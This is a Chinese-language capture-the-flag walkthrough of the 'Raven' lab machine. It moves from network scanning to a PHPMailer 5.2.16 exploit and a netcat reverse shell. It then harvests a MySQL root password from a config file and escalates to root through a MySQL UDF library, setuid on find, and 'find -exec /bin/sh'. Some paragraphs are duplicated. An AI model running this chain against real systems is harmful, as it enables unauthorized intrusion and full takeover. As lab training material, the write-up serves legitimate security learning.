udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval(‘dir’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
官方实例:
# 实例
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:
select sys_eval('cmd command');
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:
现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
下面来整理一下思路:
先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can’t open shared library ‘udf.dll’。获取sqlmap的udf请看链接:
MySQL 利用UDF执行命令
mysql -u root -p 'R@v3nSecurity' # 进入mysql
use mysql; # 切换数据库
create table foo (line blob); # 新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('/tmp/1518.so')); # 在foo中写入udf文件内容
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; # 将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function do_system returns integer soname '1518.so'; # 导入udf函数
select do_system('chmod u+s /usr/bin/find');
create table foo(line blob);
# 给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; # 退出mysql
动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。
udf是Mysql常见提权的方式之一。前提是已知mysql中root的账号密码,我们在获取到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有cmd函数的’udf.dll’(动态链接库).当我们把’udf.dll导出指定文件夹引入mysql时,其中的调用函数拿出来当做mysql的函数使用,这样我们自定义的函数就被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
arp-scan -l
或
netdiscover -r 192.158.72.0/24
也可以用nmap进行探测
探测子网:nmap -sn -v 192.168.140.*
-A:使用所有高级扫描选项
-v:得到更多选项信息
vuln:负责检查目录机是否有常见的漏洞(Vulnerability)
-T4: 快速扫描(可以加快执行速度)
nmap -A -v -p 22,80,111, 192.168.72.207 --script=vuln -T4
发现22,80,111端口开发,其中80端口有一个web应用,通过web进入系统,其中22端口可以尝试爆破
在linux下可以使用dirb进行爆破,或者gobuster dirb http://192.168.72.207(这个是递归扫描,需要安装go环境)
发现几个敏感文件,发现http://192.168.72.207/vendr 存在任意文件遍历
并且在PATH目录下隐藏了一个flag,还得知真个网站搭建在/var/www/html/目录下:
并且发现了PHPMailerAutoload.php这个显眼的文件,直接想到PHPMailer命令执行漏洞。观察目录下VERSION版本信息是5.2.16版本漏洞
漏洞分析:https://www.anquanke.com/post/id/85295
在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp
我们选取python版本的shell,将shell拷贝到当前目录下
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
接下要修改一下exp,来使用,修改如下:
PS:如果没有安装requests-toolbelt,可以使用一下命令安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple requests-toolbelt
执行exp成功,可以看到contact.php
kali监听访问后门文件反弹shell:nc -lvp 4444
浏览器访问后门文件qwer.php
监听成功
shell已经反弹成功,我们用如下命令生成一个交互式shelll,翻看目录,在wordpress/wp-content.php 文件中找到了数据库账号密码:root/R@v3nSecurity
python -c 'import pty;pty.spawn("/bin/bash")'
查看一下mysql的运行权限,可以看到mysql运行权限是root运行,并且也显示了mysql的plugin目录
看一下mysql版本号
ps -ef|grep mysql
进入网站目录页面发现存在flag2.txt
find / -type f -name 'flag[3-4].*' 2>/dev/null
flag3是图片
改Mysql是以root身份运行,此版本的Mysql是5.5,搜索得到,MySQL利用远程root代码执行提权
更多信息参考MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662
搜索UDF动态库漏洞利用程序,并在漏洞利用数据库中将其命名为“1518.c”
exploit-1518
该漏洞利用的是通过将原始C代码编译为“.so”文件,然后将其传输到受害者计算机并利用Mysql漏洞来运行的
第一步是对其进行编译
将该“.so”文件传输到受害者计算机的/tmp目录下
脚本化的linux本地枚举和权限提升检测
隐私访问:判断当前用户是否能不使用密码执行sudo访问;能否访问root用户的home目录。
系统信息:主机名,网络信息,当前IP等。
用户信息:当前用户,列出所有用户的uid/gid信息,列出root用户,检查密码hash是否保存在/etc/passwd。
将文件传输到计算机/tmp目录下面
./LinEnum.sh
# 在查出结果中的一条数据中
datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-
下载好exp的so文件,使用命令登录mysql,利用漏洞和mysql命令行以及so文件进行提权
mysql -u root -p 'R@v3nSecurity' 进入mysql
use mysql; 切换数据库
create table foo(line blob); 新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('/tmp/1518.so')); 在foo中写入udf文件内容
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; 将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function do_system returns integer soname '1518.so'; 导入udf函数
select do_system('chmod u+s /usr/bin/find');
create table foo(line blob);
给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; 退出mysql
除了 do_system 外还可以使用其他函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
find 是我们很常用的一个Linux命令,但是我们一般查找出来的额并不仅仅是看看而已,还会有进一步的操作,这个时候exec的作用就显现出来了。
-exec 参数后面跟的是 command 命令,它的终止是以“;”为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
开始提权并读取最后的flag4
www-data@Raven:/var/www/html$ touch lucifer11
touch lucifer11
www-data@Raven:/var/www/html$ find lucifer11 -exec "whoami" \;
find lucifer11 -exec "whoami" \;
root
www-data@Raven:/var/www/html$ find lucifer11 -exec "id" \;
find lucifer11 -exec "id" \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/var/www/html$ find lucifer11 -exec "/bin/sh" \;
find 1 -exec "/bin/sh" \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt